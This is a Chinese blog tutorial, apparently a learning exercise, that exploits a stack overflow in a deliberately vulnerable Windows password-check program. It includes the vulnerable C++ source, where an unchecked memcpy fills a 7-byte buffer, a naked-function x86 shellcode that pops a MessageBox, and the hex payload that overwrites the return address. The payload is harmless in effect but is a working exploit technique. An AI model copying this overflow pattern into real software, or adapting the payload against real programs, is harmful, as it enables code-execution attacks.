软件漏洞--Hello-Shellcode
软件漏洞--Hello-Shellcode
使用上一次的栈溢出的漏洞软件
可以直接通过栈溢出来修改返回值,或者要跳转的函数地址
实现一个ShellCode来跳转自己的代码
源bug软件代码
#define _CRT_SECURE_NO_WARNINGS
#include<Windows.h>
#include<iostream>
using namespace std;
int checkPassword(const char* password,int size)
{
int result = 1;
char buff[7]{};
result = strcmp(password, "51hook");
memcpy(buff, password, size);
return result;
}
int main()
{
int flag = 0;
char password[0x500];
while (1)
{
printf("请输入密码\n");
//int result = scanf("%s", password);
FILE* fp;
if ((fp = fopen("E:\\Project_Sum\\ShellCode\\ShellCode_test1\\password.txt", "rb")) == NULL)
{
return 0;
}
int result = fscanf(fp, "%s", password);
flag = checkPassword(password,sizeof(password));
if (flag)
{
MessageBoxA(0, "密码错误!", "提示", MB_OK);
}
else
{
MessageBoxA(0, "密码正确!", "提示", MB_OK);
break;
}
}
return 0;
}
这个有一个缺口就是输入这里,我们可以直接把我们想要实现的代码逻辑通过改为硬编码来直接输入进去
将自己要实现的代码逻辑编写成一个裸函数,然后将裸函数编写得到硬编码后输入到这个txt中,然后把那个ret哪里的返回要跳转的地址指向硬编码的地址,这样就实现了一个很简单的注入软件栈溢出漏洞
#include<Windows.h>
#include<iostream>
using namespace std;
DWORD a;
void _declspec(naked) shellcode()
{
__asm
{
push ebp
mov ebp, esp
sub esp, 0x30
// S n a 1 l G o
// 53 6E 61 31 6C 47 6F
push 0x006F476C;
push 0x31616E53;
mov eax,esp
push 0;
push 0;
push eax;
push 0;
mov eax, 0x76C31930;
call eax;
add esp, 0x30;
pop ebp;
mov eax,0x00401186;
jmp eax;
}
}
int main1()
{
HMODULE hModule = LoadLibraryA("user32.dll");
//char*add = (char*)GetProcAddress(hModule, "MessageBoxA");
//a = (DWORD)add;
cout << "hello" << endl;
shellcode();
return 0;
}
总结
利用shellcode来实现通过软件漏洞入侵,这里我实现的是通过栈溢出来实现入侵,将要修改的代码逻辑用硬编码填充处理
但是这个我写的shellcode非常简单且辣鸡,原因是我的自己的硬编码首位置是固定位置,应该是随着软件生成而生成的位置才对
通过栈溢出的输入来输入我们的硬编码实现代码逻辑处理,而我们的硬编码可以通过ShellCode生成一个裸函数然后把裸函数的硬编码输入进去,裸函数是利用汇编语言写的各种函数可以查看另外一个博客看裸函数
https://www.cnblogs.com/Sna1lGo/p/14393960.html
//这个是有漏洞的软件
#define _CRT_SECURE_NO_WARNINGS
#include<Windows.h>
#include<iostream>
using namespace std;
int checkPassword(const char* password,int size)
{
int result = 1;
char buff[7]{};
result = strcmp(password, "51hook");
memcpy(buff, password, size);
return result;
}
int main()
{
int flag = 0;
char password[0x500];
while (1)
{
printf("请输入密码\n");
//int result = scanf("%s", password);
FILE* fp;
if ((fp = fopen("E:\\Project_Sum\\ShellCode\\ShellCode_test1\\password.txt", "rb")) == NULL)
{
return 0;
}
int result = fscanf(fp, "%s", password);
flag = checkPassword(password,sizeof(password));
if (flag)
{
MessageBoxA(0, "密码错误!", "提示", MB_OK);
}
else
{
MessageBoxA(0, "密码正确!", "提示", MB_OK);
break;
}
}
return 0;
}
//这个是文本
31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31
14 FA 19 00 55 8B EC 83 EC 30 68 6C 47 6F 00 68
53 6E 61 31 8B C4 6A 00 6A 00 50 6A 00 B8 30 19
C3 76 FF D0 83 C4 30 5D B8 CA 13 40 00 FF E0
//这个是写的shellcode
#include<Windows.h>
#include<iostream>
using namespace std;
DWORD a;
void _declspec(naked) shellcode()
{
__asm
{
push ebp
mov ebp, esp
sub esp, 0x30
// S n a 1 l G o
// 53 6E 61 31 6C 47 6F
push 0x006F476C;
push 0x31616E53;
mov eax,esp
push 0;
push 0;
push eax;
push 0;
mov eax, 0x76C31930;
call eax;
add esp, 0x30;
pop ebp;
mov eax, 0x004013CA;
jmp eax;
}
}
int main1()
{
HMODULE hModule = LoadLibraryA("user32.dll");
cout << "hello" << endl;
shellcode();
return 0;
}
软件漏洞--Hello-Shellcode的更多相关文章
- CVE-2015-1641 Office类型混淆漏洞及shellcode分析
作者:枕边月亮 原文来自:CVE-2015-1641 Office类型混淆漏洞及shellcode分析 0x1实验环境:Win7_32位,Office2007 0x2工具:Windbg,OD,火绒剑, ...
- 如何使用kali的Searchsploit查找软件漏洞
Searchsploit Searchsploit会通过本地的exploit-db, 查找软件漏洞信息 打开kali的命令行, 输入: searchsploit 查看系统帮助 查找mssql的漏洞 如 ...
- 禁被ping 软件漏洞升级
禁被ping:echo “net.ipv4.icmp_echo_ignore_all=1” /etc/sysctl.conf 软件漏洞升级:yum install openssh bash -y
- 书评第003篇:《0day安全:软件漏洞分析技术(第2版)》
本书基本信息 丛书名:安全技术大系 作者:王清(主编),张东辉.周浩.王继刚.赵双(编著) 出版社:电子工业出版社 出版时间:2011-6-1 ISBN:9787121133961 版次:1 页数:7 ...
- 《0day安全软件漏洞分析技术》学习笔记
最近因为工作需要在看0day的软件漏洞分析,发现这本<0day安全软件漏洞分析技术(第2版)>真是本好书,唯一缺点就是书上的环境是Windows XP 32Bit的,基于现状难以进行实践, ...
- 《ODAY安全:软件漏洞分析技术》学习心得-----shellcode的一点小小的思考
I will Make Impossible To I'm possible -----------LittleHann 看了2个多星期.终于把0DAY这本书给看完了,自己动手将书上的实验一个一个实现 ...
- 网络安全(超级详细)零基础带你一步一步走进缓冲区溢出漏洞和shellcode编写!
零基础带你走进缓冲区溢出,编写shellcode. 写在前面的话:本人是以一个零基础者角度来带着大家去理解缓冲区溢出漏洞,当然如果你是开发者更好. 注:如果有转载请注明出处!创作不易.谢谢合作. 0. ...
- 《0day安全-软件漏洞分析技术》实验笔记2
实验 3.4 通用shellcode 工具 Windows XP SP3 Visual C++ 6.0 OD IDA 源代码 见随书代码,参考:https://github.com/jas502n/0 ...
- Linux软件漏洞-1
RHSA-2018:3107-中危: wpa_supplicant 安全和BUG修复更新 漏洞编号:CVE-2018-14526 漏洞公告:wpa_supplicant中未经身份验证的EAPOL-Ke ...
随机推荐
- CSS3 & CSS var & :root
CSS3 & CSS var & :root How to change CSS :root color variables in JavaScript https://stackov ...
- 可视化埋点 & XPath
可视化埋点 & XPath https://www.w3.org/TR/xpath-full-text-30/ 数据的准确性 采集时机 数据发送策略 full XPath demo XML & ...
- DENIEL SOIBIM:真正自律的人都在做这些事情!
生活节奏的加快,使得很多人无法适从.很多人,浑浑噩噩,庸庸碌碌,觉得一天做了很多事,却总是一事无成.还有些人,觉得得过且过也很好,但是到头来,却让自己陷入慌乱之中.本想要自由自在的生活,但是却往往却被 ...
- 五分钟快速上手MyBatis
MyBatis 是一款优秀的持久层框架,它支持自定义 SQL.存储过程以及高级映射. 免除了几乎所有的 JDBC 代码以及设置参数和获取结果集的工作. 可以通过简单的 XML 或注解来配置和映射,Ja ...
- react新手入坑
1.vscode保存react项目的时候由于js-css-html插件格式化代码导致react代码缩进错误 解决方法:禁用js-css-html插件 2.react和vue不同,react方法的定义需 ...
- Oracle VM VirtualBox安装CentOS7
安装VirtualBox6.0 下载地址:https://www.virtualbox.org/ 新建虚拟机 类型:Linux 版本:Other Linux(64-bit)----如果没有出现64-b ...
- 从跳频技术聊CDMA/WIFI之母海蒂·拉玛传奇的一生
导语:本篇的内容都是 文末的参考文章摘要而来的,本人根据自己的癖好,以及对 海蒂·拉玛 人生的感慨整理成本文. "WiFi"之母的海蒂·拉玛在中国的知名度,比起克劳德·香农应该也不 ...
- Vue学习笔记-VSCode安装与配置
一 使用环境: windows 7 64位操作系统 二 VSCode安装与配置 1.下载: https://code.visualstudio.com 直接点击即可. 2. 点击按装程序,默认安 ...
- python实现斑马打印机网络打印
最近一个礼拜调研了下斑马打印机怎样实现网络打印. 缘起: 之前实现打印方式是直接使用USB接口连接PC,使用串口通讯提供一套打印服务,在系统界面配置相关参数,即可调用打印服务: 后来业务需求变化,现场 ...
- Vue项目的创建、路由、及生命周期钩子
目录 一.Vue项目搭建 1.环境搭建 2.项目的创建 3.pycharm配置并启动vue项目 4.vue项目目录结构分析 5.Vue根据配置重新构建依赖 二.Vue项目创建时发生了什么 三.项目初始 ...